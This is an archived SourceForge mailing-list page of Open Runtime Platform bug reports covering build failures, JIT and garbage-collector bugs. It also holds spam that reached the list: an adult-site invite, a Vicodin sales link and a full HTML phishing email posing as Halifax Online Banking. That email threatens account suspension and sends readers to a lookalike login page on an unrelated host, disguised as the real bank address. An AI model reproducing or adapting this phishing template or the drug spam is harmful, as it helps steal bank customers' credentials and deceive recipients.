orp-bugs Mailing List for Open Runtime Platform
Status: Beta
Brought to you by:
cierniak
Menu
▾
▴
orp-bugs — ORP bugs
You can subscribe to this list here.
| 2001 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(5) |
Sep
(9) |
Oct
(1) |
Nov
(3) |
Dec
(2) |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2002 |
Jan
(1) |
Feb
|
Mar
(2) |
Apr
|
May
(2) |
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
(2) |
Dec
|
| 2003 |
Jan
(1) |
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(2) |
Sep
|
Oct
|
Nov
|
Dec
|
| 2007 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
(1) |
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
| 2009 |
Jan
|
Feb
(1) |
Mar
(1) |
Apr
|
May
(3) |
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
| 2010 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(1) |
Sep
|
Oct
|
Nov
|
Dec
|
| 2011 |
Jan
|
Feb
|
Mar
(1) |
Apr
|
May
|
Jun
(1) |
Jul
|
Aug
(1) |
Sep
|
Oct
|
Nov
|
Dec
|
| 2014 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(1) |
Sep
(1) |
Oct
(6) |
Nov
(8) |
Dec
(2) |
| 2015 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
(1) |
Dec
|
| 2016 |
Jan
|
Feb
|
Mar
(1) |
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
| 2017 |
Jan
|
Feb
|
Mar
|
Apr
(1) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
|
From: The N. A. F. At Http://moourl.com/8. v. Yahoo! <> - 2011-08-09 12:42:13
|
Join The New Adult Facebook At Http://moourl.com/8e6xb on Yahoo! Messenger. (your message goes here) Stay in the loop with all your friends. Get started : http://invite.msg.yahoo.com/invite?op=accept&intl=us&sig=xuFoxWwqCm6unHQko7k3oh.Dn6TQwSDbp2Zg9oQlkNXKPhjhj_UOmYbq_FfBr2fljMilmn5E9L2G2a0eZHpPSSPY9P9lcPu9eUUokx5U2v5Tpgxq_VAyufLB * Stay connected at home, at work, or on the go * Have fun with games, emoticons, and more * Join a community of over 100 million people from around the world Join Your Friends : http://invite.msg.yahoo.com/invite?op=accept&intl=us&sig=xuFoxWwqCm6unHQko7k3oh.Dn6TQwSDbp2Zg9oQlkNXKPhjhj_UOmYbq_FfBr2fljMilmn5E9L2G2a0eZHpPSSPY9P9lcPu9eUUokx5U2v5Tpgxq_VAyufLB -- this email was sent to you by an automated system - please do not reply directly |
|
From: Claudia j. <joy...@ne...> - 2009-05-30 07:53:23
|
Looking to Acquire Vicoden ES ? Buy Safely Online http://supperoee.com --- What's Really Going on Inside Puppy Mills? |
|
From: Halifax B. P. <onl...@ha...> - 2007-06-05 23:38:06
|
<html>
<head>
<style type="text/css">
<!--
body { font-family: tahoma, helvetica, sans-serif; font-size: 10pt; color: black; background: #FFFFFF;}
td { font-size: 10pt;}
.small { font-size: 8pt; color: #FFFFFF; }
}-->
</style>
</head>
<body>
<center>
<table width=560 bgcolor=#1417A3 style="border: 3px solid #1417A3"><tr><td><img src=http://www.halifax.co.uk/common/images/logo.gif></td></tr>
<tr><td bgcolor=#C6D7F5>
<table cellpadding=20><td align=justify>
<font size=3><b>Dear Customer,</b></font><hr><br><Br>
<b>Halifax Online Banking Security Department</b> has been receiving complaints
from our customers for unauthorised uses of the Halifax Online Banking accounts.
As a result we are temporarily shutting down some selected Halifax Online Banking
Accounts perceived vulnerable to this, pending till the time we carry out
proper verification by the account owner. Halifax Online Banking is committed to ensure the safeguard of
each customer personal information, making sure only authorised individuals
have access to their accounts.<br><br>
<br>
<b>As a first step</b> to have Your Halifax Online Banking Access reactivated please
reconfirm your identity by using the link provided below.<br><br><br>
<table width=500 cellpadding=0 cellspacing=0>
<td width=0></td>
<td><a href=http://wvps212-241-207-5.vps.webfusion.co.uk/halifax-online.co.uk/_mem_bin/formslogin.asp/index.php><b>https://www.halifax-online.co.uk/_mem_bin/formslogin.asp</b></a></td>
</table>
<br><br>
<b>These instructions</b> are sent to and should be followed by all Halifax Online Banking
clients,to avoid service deactivation after the verification is completed.
We apologise for any inconveniences and thank you for your cooperation.
</td></tr>
<tr><td>
<table width=100%>
<tr><td><b>Halifax Online Security Department</b></td><td align=right><img src=http://www.halifax.co.uk/common/images/text/security-guarentee.gif></td></tr></table>
</table>
</td></tr>
<tr><td><font class=small>Halifax plc, Registered in England No.2367076. Registered Office: Trinity Road, Halifax, West Yorkshire, HX1 2RG </td></tr>
</table>
</body></html>
|
|
From: SourceForge.net <no...@so...> - 2003-08-26 10:07:33
|
Bugs item #794810, was opened at 2003-08-25 18:45 Message generated for change (Tracker Item Submitted) made by Item Submitter You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=384545&aid=794810&group_id=25513 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Mark Brown (broonie) Assigned to: Nobody/Anonymous (nobody) Summary: Completely fails with glibc 2.3 Initial Comment: ORP fails to compile with glibc 2.3: g++ -c -w -O -DNDEBUG -DORP_POSIX -D_REENTRANT -D__SMP__ -DOBJECT_LOCK_V2 -DLAZY_LOCK -DLINUX_TLS_OPT -DGC_REWORK -I../../../arch/ia32/ia32_o1_jit -I../../../os/Linux/include -I../../../common/include -I../../../interface -I../../../base_natives/common -I../../../arch/ia32/x86 -I../../../common/jit_utils/include -I../../../arch/ia32/dump cg_array_access.cpp -o Linux/opt/cg_array_access.o In file included from defines.h:10, from cg_array_access.cpp:7: ../../../os/Linux/include/platform.h: In function `void* get_specific00()': ../../../os/Linux/include/platform.h:143: `SIZE_OF_PTHREAD_DESCR' undeclared (first use this function) ../../../os/Linux/include/platform.h:143: (Each undeclared identifier is reported only once for each function it appears in.) ../../../os/Linux/include/platform.h:143: `OFFSET_OF_SPECIFIC_IN_THREAD_DESCR' undeclared (first use this function) make[3]: *** [Linux/opt/cg_array_access.o] Error 1 make[3]: Leaving directory `/home/broonie/src/packages/orp/orp-1.0.9/arch/ia32/ia32_o1_jit' make[2]: *** [../../arch/ia32/ia32_o1_jit/Linux/opt/libvm.a] Error 2 make[2]: Leaving directory `/home/broonie/src/packages/orp/orp-1.0.9/mains/orp' make[1]: *** [opt] Error 2 make[1]: Leaving directory `/home/broonie/src/packages/orp/orp-1.0.9' make: *** [build] Error 2 This is caused by missing #defines giving the size of some pthreads structures in the platform header file. The same problem appears to cause crashes at runtime with a binary built from older glibc for fairly obvious reasons. ORP really ought to avoid peering inside glibc internal structures. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=384545&aid=794810&group_id=25513 |
|
From: SourceForge.net <no...@so...> - 2003-08-25 17:45:50
|
Bugs item #794810, was opened at 2003-08-25 18:45 Message generated for change (Settings changed) made by broonie You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=384545&aid=794810&group_id=25513 Category: None Group: None Status: Open Resolution: None >Priority: 7 Submitted By: Mark Brown (broonie) Assigned to: Nobody/Anonymous (nobody) Summary: Completely fails with glibc 2.3 Initial Comment: ORP fails to compile with glibc 2.3: g++ -c -w -O -DNDEBUG -DORP_POSIX -D_REENTRANT -D__SMP__ -DOBJECT_LOCK_V2 -DLAZY_LOCK -DLINUX_TLS_OPT -DGC_REWORK -I../../../arch/ia32/ia32_o1_jit -I../../../os/Linux/include -I../../../common/include -I../../../interface -I../../../base_natives/common -I../../../arch/ia32/x86 -I../../../common/jit_utils/include -I../../../arch/ia32/dump cg_array_access.cpp -o Linux/opt/cg_array_access.o In file included from defines.h:10, from cg_array_access.cpp:7: ../../../os/Linux/include/platform.h: In function `void* get_specific00()': ../../../os/Linux/include/platform.h:143: `SIZE_OF_PTHREAD_DESCR' undeclared (first use this function) ../../../os/Linux/include/platform.h:143: (Each undeclared identifier is reported only once for each function it appears in.) ../../../os/Linux/include/platform.h:143: `OFFSET_OF_SPECIFIC_IN_THREAD_DESCR' undeclared (first use this function) make[3]: *** [Linux/opt/cg_array_access.o] Error 1 make[3]: Leaving directory `/home/broonie/src/packages/orp/orp-1.0.9/arch/ia32/ia32_o1_jit' make[2]: *** [../../arch/ia32/ia32_o1_jit/Linux/opt/libvm.a] Error 2 make[2]: Leaving directory `/home/broonie/src/packages/orp/orp-1.0.9/mains/orp' make[1]: *** [opt] Error 2 make[1]: Leaving directory `/home/broonie/src/packages/orp/orp-1.0.9' make: *** [build] Error 2 This is caused by missing #defines giving the size of some pthreads structures in the platform header file. The same problem appears to cause crashes at runtime with a binary built from older glibc for fairly obvious reasons. ORP really ought to avoid peering inside glibc internal structures. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=384545&aid=794810&group_id=25513 |
|
From: <no...@so...> - 2003-01-01 22:46:04
|
Bugs item #553627, was opened at 2002-05-08 09:46 You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=384545&aid=553627&group_id=25513 Category: Java Native Interface Group: None >Status: Deleted Resolution: None Priority: 5 Submitted By: Max Gilead (gilead) Assigned to: Nobody/Anonymous (nobody) Summary: Bug in java.lang.Double Initial Comment: Hello! There is a bug in native part of java.lang.Double. Try to run this test: public class DoubleBug { public static void main(String[] args) { System.out.println(".3 -> "+ new Double(".3").doubleValue()); } } It should print: .3 -> 0.3 Classpath 0.03 + ORP 1.0.9 prints: No Java handlers found Uncaught exception: java.lang.NumberFormatException: from Java_java_lang_Double_doubleValueOf at DoubleBug.main This error does not appear when Classpath is compiled with --enable-jni flag. Max ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=384545&aid=553627&group_id=25513 |
|
From: <no...@so...> - 2002-11-06 10:04:08
|
Bugs item #499413, was opened at 2002-01-04 07:05 You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=384545&aid=499413&group_id=25513 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Daniel Bonniot (bonniot) Assigned to: Nobody/Anonymous (nobody) Summary: Compilation error Initial Comment: I just downloaded orp20011116.tgz and got a compilation error. Here is the relevant compilation log: g++ -c -w -g -O0 -D_DEBUG -DORP_STATS -DSIGNAL_DEBUG -DORP_POSIX -D_REENTRANT -D__SMP__ -DMONITOR_STO -DGC_REWORK -I../../../arch/ia32/base -I../../../os/Linux/include -I../../../common/include -I../../../common/jit_utils/include -I../../../interface -I../../../base_natives/common -I../../../arch/ia32/ia32_o1_jit -I../../../arch/ia32/dump -I../../../arch/ia32/debugger/include root_set_enum_ia32.cpp -o Linux/dbg/root_set_enum_ia32.o In file included from root_set_enum_ia32.cpp:39: /usr/include/asm/spinlock.h: In function `void read_lock(rwlock_t *)': /usr/include/asm/spinlock.h:157: parse error before `::' /usr/include/asm/spinlock.h:158: confused by earlier errors, bailing out make[2]: *** [Linux/dbg/root_set_enum_ia32.o] Error 1 make[2]: Leaving directory `/usr/local/src/orp/arch/ia32/base' make[1]: *** [../../arch/ia32/base/Linux/dbg/libvm.a] Error 2 make[1]: Leaving directory `/usr/local/src/orp/mains/orp' make: *** [dbg] Error 2 Here is a short description of my system: Linux 2.4.14 (Debian) glibc: 2.2.4 g++ version 2.95.4 I see that the file is included inside conditionals: #ifdef ORP_POSIX #ifdef __linux__ #include <asm/spinlock.h> #endif #include "platform2.h" #endif I have unfortunately no knowledge about asm instructions in C (the parse error occurs inside one). So I attach a tar file with the two asm/*.h include files that seem to provoke the problem. ---------------------------------------------------------------------- Comment By: Barry Rountree (rountree) Date: 2002-11-06 02:04 Message: Logged In: YES user_id=534369 Commenting out #include <asm/spinlock.h> gets rid of the compile error. No idea if this breaks anything else or not. Barry ---------------------------------------------------------------------- Comment By: Barry Rountree (rountree) Date: 2002-11-04 21:26 Message: Logged In: YES user_id=534369 Could you expound on this a bit? With gcc 3.2, I get In file included from simple_root_set_enum_ia32.cpp:22: /usr/include/asm/spinlock.h: In function `void spin_lock(spinlock_t*)': /usr/include/asm/spinlock.h:137: parse error before `(' token /usr/include/asm/spinlock.h: In function `void read_lock(rwlock_t*)': /usr/include/asm/spinlock.h:188: parse error before `(' token /usr/include/asm/spinlock.h: In function `void write_lock(rwlock_t*)': /usr/include/asm/spinlock.h:197: parse error before `(' token 3.0.2 gets almost this far, bailing out with the "confused by earlier errors" message after the second error. Kernel is 2.4.19-16mdk+acpi. spin_lock looks like: static inline void spin_lock(spinlock_t *lock) { #if SPINLOCK_DEBUG __label__ here; here: if (lock->magic != SPINLOCK_MAGIC) { printk("eip: %p\n", &&here); BUG(); } #endif __asm__ __volatile__( spin_lock_string :"=m" (lock->lock) : : "memory"); } At this point, I'm going to try a previous version of ORP and see if I can find where the problem was introduced. Other ideas? Best, Barry Rountree ---------------------------------------------------------------------- Comment By: Max Gilead (gilead) Date: 2002-05-08 00:42 Message: Logged In: YES user_id=1832 It can be solved by putting space between colons (both in ORP sources and kernel sources) ie. instead '::' it should be ': :'. I don't know how kernel can be compileable with this but I'm far from being an expert here. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=384545&aid=499413&group_id=25513 |
|
From: <no...@so...> - 2002-11-05 05:27:00
|
Bugs item #499413, was opened at 2002-01-04 07:05 You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=384545&aid=499413&group_id=25513 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Daniel Bonniot (bonniot) Assigned to: Nobody/Anonymous (nobody) Summary: Compilation error Initial Comment: I just downloaded orp20011116.tgz and got a compilation error. Here is the relevant compilation log: g++ -c -w -g -O0 -D_DEBUG -DORP_STATS -DSIGNAL_DEBUG -DORP_POSIX -D_REENTRANT -D__SMP__ -DMONITOR_STO -DGC_REWORK -I../../../arch/ia32/base -I../../../os/Linux/include -I../../../common/include -I../../../common/jit_utils/include -I../../../interface -I../../../base_natives/common -I../../../arch/ia32/ia32_o1_jit -I../../../arch/ia32/dump -I../../../arch/ia32/debugger/include root_set_enum_ia32.cpp -o Linux/dbg/root_set_enum_ia32.o In file included from root_set_enum_ia32.cpp:39: /usr/include/asm/spinlock.h: In function `void read_lock(rwlock_t *)': /usr/include/asm/spinlock.h:157: parse error before `::' /usr/include/asm/spinlock.h:158: confused by earlier errors, bailing out make[2]: *** [Linux/dbg/root_set_enum_ia32.o] Error 1 make[2]: Leaving directory `/usr/local/src/orp/arch/ia32/base' make[1]: *** [../../arch/ia32/base/Linux/dbg/libvm.a] Error 2 make[1]: Leaving directory `/usr/local/src/orp/mains/orp' make: *** [dbg] Error 2 Here is a short description of my system: Linux 2.4.14 (Debian) glibc: 2.2.4 g++ version 2.95.4 I see that the file is included inside conditionals: #ifdef ORP_POSIX #ifdef __linux__ #include <asm/spinlock.h> #endif #include "platform2.h" #endif I have unfortunately no knowledge about asm instructions in C (the parse error occurs inside one). So I attach a tar file with the two asm/*.h include files that seem to provoke the problem. ---------------------------------------------------------------------- Comment By: Barry Rountree (rountree) Date: 2002-11-04 21:26 Message: Logged In: YES user_id=534369 Could you expound on this a bit? With gcc 3.2, I get In file included from simple_root_set_enum_ia32.cpp:22: /usr/include/asm/spinlock.h: In function `void spin_lock(spinlock_t*)': /usr/include/asm/spinlock.h:137: parse error before `(' token /usr/include/asm/spinlock.h: In function `void read_lock(rwlock_t*)': /usr/include/asm/spinlock.h:188: parse error before `(' token /usr/include/asm/spinlock.h: In function `void write_lock(rwlock_t*)': /usr/include/asm/spinlock.h:197: parse error before `(' token 3.0.2 gets almost this far, bailing out with the "confused by earlier errors" message after the second error. Kernel is 2.4.19-16mdk+acpi. spin_lock looks like: static inline void spin_lock(spinlock_t *lock) { #if SPINLOCK_DEBUG __label__ here; here: if (lock->magic != SPINLOCK_MAGIC) { printk("eip: %p\n", &&here); BUG(); } #endif __asm__ __volatile__( spin_lock_string :"=m" (lock->lock) : : "memory"); } At this point, I'm going to try a previous version of ORP and see if I can find where the problem was introduced. Other ideas? Best, Barry Rountree ---------------------------------------------------------------------- Comment By: Max Gilead (gilead) Date: 2002-05-08 00:42 Message: Logged In: YES user_id=1832 It can be solved by putting space between colons (both in ORP sources and kernel sources) ie. instead '::' it should be ': :'. I don't know how kernel can be compileable with this but I'm far from being an expert here. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=384545&aid=499413&group_id=25513 |
|
From: <no...@so...> - 2002-05-08 07:46:12
|
Bugs item #553627, was opened at 2002-05-08 09:46 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=553627&group_id=25513 Category: Java Native Interface Group: None Status: Open Resolution: None Priority: 5 Submitted By: Max Gilead (gilead) Assigned to: Nobody/Anonymous (nobody) Summary: Bug in java.lang.Double Initial Comment: Hello! There is a bug in native part of java.lang.Double. Try to run this test: public class DoubleBug { public static void main(String[] args) { System.out.println(".3 -> "+ new Double(".3").doubleValue()); } } It should print: .3 -> 0.3 Classpath 0.03 + ORP 1.0.9 prints: No Java handlers found Uncaught exception: java.lang.NumberFormatException: from Java_java_lang_Double_doubleValueOf at DoubleBug.main This error does not appear when Classpath is compiled with --enable-jni flag. Max ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=553627&group_id=25513 |
|
From: <no...@so...> - 2002-05-08 07:42:46
|
Bugs item #499413, was opened at 2002-01-04 16:05 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=499413&group_id=25513 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Daniel Bonniot (bonniot) Assigned to: Nobody/Anonymous (nobody) Summary: Compilation error Initial Comment: I just downloaded orp20011116.tgz and got a compilation error. Here is the relevant compilation log: g++ -c -w -g -O0 -D_DEBUG -DORP_STATS -DSIGNAL_DEBUG -DORP_POSIX -D_REENTRANT -D__SMP__ -DMONITOR_STO -DGC_REWORK -I../../../arch/ia32/base -I../../../os/Linux/include -I../../../common/include -I../../../common/jit_utils/include -I../../../interface -I../../../base_natives/common -I../../../arch/ia32/ia32_o1_jit -I../../../arch/ia32/dump -I../../../arch/ia32/debugger/include root_set_enum_ia32.cpp -o Linux/dbg/root_set_enum_ia32.o In file included from root_set_enum_ia32.cpp:39: /usr/include/asm/spinlock.h: In function `void read_lock(rwlock_t *)': /usr/include/asm/spinlock.h:157: parse error before `::' /usr/include/asm/spinlock.h:158: confused by earlier errors, bailing out make[2]: *** [Linux/dbg/root_set_enum_ia32.o] Error 1 make[2]: Leaving directory `/usr/local/src/orp/arch/ia32/base' make[1]: *** [../../arch/ia32/base/Linux/dbg/libvm.a] Error 2 make[1]: Leaving directory `/usr/local/src/orp/mains/orp' make: *** [dbg] Error 2 Here is a short description of my system: Linux 2.4.14 (Debian) glibc: 2.2.4 g++ version 2.95.4 I see that the file is included inside conditionals: #ifdef ORP_POSIX #ifdef __linux__ #include <asm/spinlock.h> #endif #include "platform2.h" #endif I have unfortunately no knowledge about asm instructions in C (the parse error occurs inside one). So I attach a tar file with the two asm/*.h include files that seem to provoke the problem. ---------------------------------------------------------------------- Comment By: Max Gilead (gilead) Date: 2002-05-08 09:42 Message: Logged In: YES user_id=1832 It can be solved by putting space between colons (both in ORP sources and kernel sources) ie. instead '::' it should be ': :'. I don't know how kernel can be compileable with this but I'm far from being an expert here. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=499413&group_id=25513 |
|
From: <no...@so...> - 2002-03-15 05:58:47
|
Bugs item #530178, was opened at 2002-03-14 23:58 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=530178&group_id=25513 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Fred Gray (fegray) Assigned to: Nobody/Anonymous (nobody) Summary: crashes with current Classpath CVS Initial Comment: With the current Classpath CVS, ORP on Linux/x86 always crashes on startup with the following messages: No Java handlers found No Java handlers found No Java handlers found Uncaught exception: No Java handlers found No Java handlers found Discussions on the Classpath mailing list suggest that the problem has something to do with changes made in late February to java.lang.Class and java.lang.Throwable. ORP works great with Classpath 0.03. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=530178&group_id=25513 |
|
From: <no...@so...> - 2002-03-14 10:33:09
|
Bugs item #529821, was opened at 2002-03-14 11:33 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=529821&group_id=25513 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Daniel Bonniot (bonniot) Assigned to: Nobody/Anonymous (nobody) Summary: orp should use -D instead of -prop Initial Comment: It would be nice if the syntax -Dproperty=value was accepted (as well as -prop if necessary) so that orp can be tested more easily in contexts where 'java' is expected. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=529821&group_id=25513 |
|
From: <no...@so...> - 2002-01-04 15:05:45
|
Bugs item #499413, was opened at 2002-01-04 07:05 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=499413&group_id=25513 Category: None Group: None Status: Open Resolution: None Priority: 5 Submitted By: Daniel Bonniot (bonniot) Assigned to: Nobody/Anonymous (nobody) Summary: Compilation error Initial Comment: I just downloaded orp20011116.tgz and got a compilation error. Here is the relevant compilation log: g++ -c -w -g -O0 -D_DEBUG -DORP_STATS -DSIGNAL_DEBUG -DORP_POSIX -D_REENTRANT -D__SMP__ -DMONITOR_STO -DGC_REWORK -I../../../arch/ia32/base -I../../../os/Linux/include -I../../../common/include -I../../../common/jit_utils/include -I../../../interface -I../../../base_natives/common -I../../../arch/ia32/ia32_o1_jit -I../../../arch/ia32/dump -I../../../arch/ia32/debugger/include root_set_enum_ia32.cpp -o Linux/dbg/root_set_enum_ia32.o In file included from root_set_enum_ia32.cpp:39: /usr/include/asm/spinlock.h: In function `void read_lock(rwlock_t *)': /usr/include/asm/spinlock.h:157: parse error before `::' /usr/include/asm/spinlock.h:158: confused by earlier errors, bailing out make[2]: *** [Linux/dbg/root_set_enum_ia32.o] Error 1 make[2]: Leaving directory `/usr/local/src/orp/arch/ia32/base' make[1]: *** [../../arch/ia32/base/Linux/dbg/libvm.a] Error 2 make[1]: Leaving directory `/usr/local/src/orp/mains/orp' make: *** [dbg] Error 2 Here is a short description of my system: Linux 2.4.14 (Debian) glibc: 2.2.4 g++ version 2.95.4 I see that the file is included inside conditionals: #ifdef ORP_POSIX #ifdef __linux__ #include <asm/spinlock.h> #endif #include "platform2.h" #endif I have unfortunately no knowledge about asm instructions in C (the parse error occurs inside one). So I attach a tar file with the two asm/*.h include files that seem to provoke the problem. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=499413&group_id=25513 |
|
From: <no...@so...> - 2001-12-13 08:14:35
|
Bugs item #486385, was opened at 2001-11-27 23:51 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=486385&group_id=25513 Category: O3 jit Group: None >Status: Open Resolution: None Priority: 5 Submitted By: Shi Xiaohua (xshi2) Assigned to: Shi Xiaohua (xshi2) >Summary: unsafe code-transform "mov 0" to "xor" Initial Comment: char *mov(char *inst,const R_Opnd *r,const Imm_Opnd *imm) uses a unsafe conde-transform from "mov eax, 0" to "xor eax, eax", if we need the CF set by the prev- instruction. ---------------------------------------------------------------------- >Comment By: Shi Xiaohua (xshi2) Date: 2001-12-13 00:14 Message: Logged In: YES user_id=190089 Fixed ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-12-13 00:14 Message: Logged In: YES user_id=190089 Fixed ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=486385&group_id=25513 |
|
From: <no...@so...> - 2001-12-13 08:14:13
|
Bugs item #486385, was opened at 2001-11-27 23:51 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=486385&group_id=25513 Category: O3 jit Group: None >Status: Pending Resolution: None Priority: 5 Submitted By: Shi Xiaohua (xshi2) Assigned to: Shi Xiaohua (xshi2) >Summary: unsafe code-transform "mov 0" to "xor" Initial Comment: char *mov(char *inst,const R_Opnd *r,const Imm_Opnd *imm) uses a unsafe conde-transform from "mov eax, 0" to "xor eax, eax", if we need the CF set by the prev- instruction. ---------------------------------------------------------------------- >Comment By: Shi Xiaohua (xshi2) Date: 2001-12-13 00:14 Message: Logged In: YES user_id=190089 Fixed ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=486385&group_id=25513 |
|
From: <no...@so...> - 2001-11-28 07:51:12
|
Bugs item #486385, was opened at 2001-11-27 23:51 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=486385&group_id=25513 Category: O3 jit Group: None Status: Open Resolution: None Priority: 5 Submitted By: Shi Xiaohua (xshi2) Assigned to: Shi Xiaohua (xshi2) Summary: unsafe code-transform "mov 0" to "xor" Initial Comment: char *mov(char *inst,const R_Opnd *r,const Imm_Opnd *imm) uses a unsafe conde-transform from "mov eax, 0" to "xor eax, eax", if we need the CF set by the prev- instruction. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=486385&group_id=25513 |
|
From: <no...@so...> - 2001-11-28 02:04:49
|
Bugs item #486296, was opened at 2001-11-27 18:04 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=486296&group_id=25513 Category: O3 jit Group: None Status: Open Resolution: None Priority: 5 Submitted By: Shi Xiaohua (xshi2) Assigned to: Shi Xiaohua (xshi2) Summary: shift() function in X86.cpp error. Initial Comment: The functions in X86.cpp below: char *shift(char *inst,X86_Shift_Opcode opc,const RM_Opnd *rm,const R_Opnd *r) ; char *shift(char *inst,X86_Shift_Opcode opc,const RM_Opnd *rm,const R_Opnd *r,const Imm_Opnd *imm); forget to consider the "shld_opc". In fact , whether shrd_opc or shld_opc will generate a "shrd" instruction. I'll fix it. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=486296&group_id=25513 |
|
From: <no...@so...> - 2001-11-13 06:09:08
|
Bugs item #481178, was opened at 2001-11-12 22:09 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=481178&group_id=25513 Category: GC Group: None Status: Open Resolution: None Priority: 5 Submitted By: xiaofeng li (xiaofeng_li) Assigned to: Nobody/Anonymous (nobody) Summary: verify_slot assert error with Pbob Initial Comment: When I am running SpecJBB2000 with 10 warehouse, it hits an assert as, mrl_gc_v1.cpp:376: void verify_slot (Java_java_lang_Object **): Assertion `the_obj->vt' failed. It does not always repeat. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=481178&group_id=25513 |
|
From: <no...@so...> - 2001-10-17 05:35:29
|
Bugs item #440596, was opened at 2001-07-12 00:34 You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=440596&group_id=25513 Category: O3 jit Group: None >Status: Pending Resolution: None Priority: 5 Submitted By: Wu Gansha (wugansha) Assigned to: Shi Xiaohua (xshi2) Summary: Assert problems when running Jigsaw Initial Comment: There're two places always repeatable: 1. In ia32_o3_jit/flow_graph_dom.cpp, void Flow_Graph::build_dom_tree(){ ... assert(v != -1); //RC-2 Line No.780 ... } 2. In ia32_o3_jit/ir.h: class Operand { ... unsigned bv_position() { assert(bvp != (unsigned)-1); return bvp; } //RC-2 Line No.107 ... } Only if I comment out these two assertions could Jigsaw run, but I don't know the side-effect. There's a place occurring occasionally: 3. In gc/generation.cpp: bool Generation::is_address_in_my_generation(void *p_addr){ ... assert(0); ... } I noticed that this function only valid when GC_DEBUG > 0. ---------------------------------------------------------------------- >Comment By: Shi Xiaohua (xshi2) Date: 2001-10-16 22:35 Message: Logged In: YES user_id=190089 After investigation, I found it's related to the way we handling lookupswitch. And another bug in emit_code was found when we fixed this problem. When we swap two nodes for eliminating branches, we should avoid swap the nodes belonging to a lookupswitch. Now the bug has been fixed. --Xiaohua ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-09-20 00:29 Message: Logged In: YES user_id=190089 Now it can be reproduced on my desktop. This bug is re-opened. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-09-13 22:44 Message: Logged In: YES user_id=190089 It's hard to be reproduced now. I have to pend it. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-08-30 19:40 Message: Logged In: YES user_id=190089 Gansha, I need your help to reproduce the bug on my desktop. thanks. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-07-13 01:14 Message: Logged In: YES user_id=190089 I saw the bug. ---------------------------------------------------------------------- Comment By: Shi Xiaohua (xshi2) Date: 2001-07-13 01:03 Message: Logged In: YES user_id=190089 Gansha, Turn off these two asserts is dangerous! I'll help you to check the O3 codes when I have time. ---------------------------------------------------------------------- You can respond by visiting: http://sourceforge.net/tracker/?func=detail&atid=384545&aid=440596&group_id=25513 |
|
From: <no...@so...> - 2001-09-20 07:29:58
|
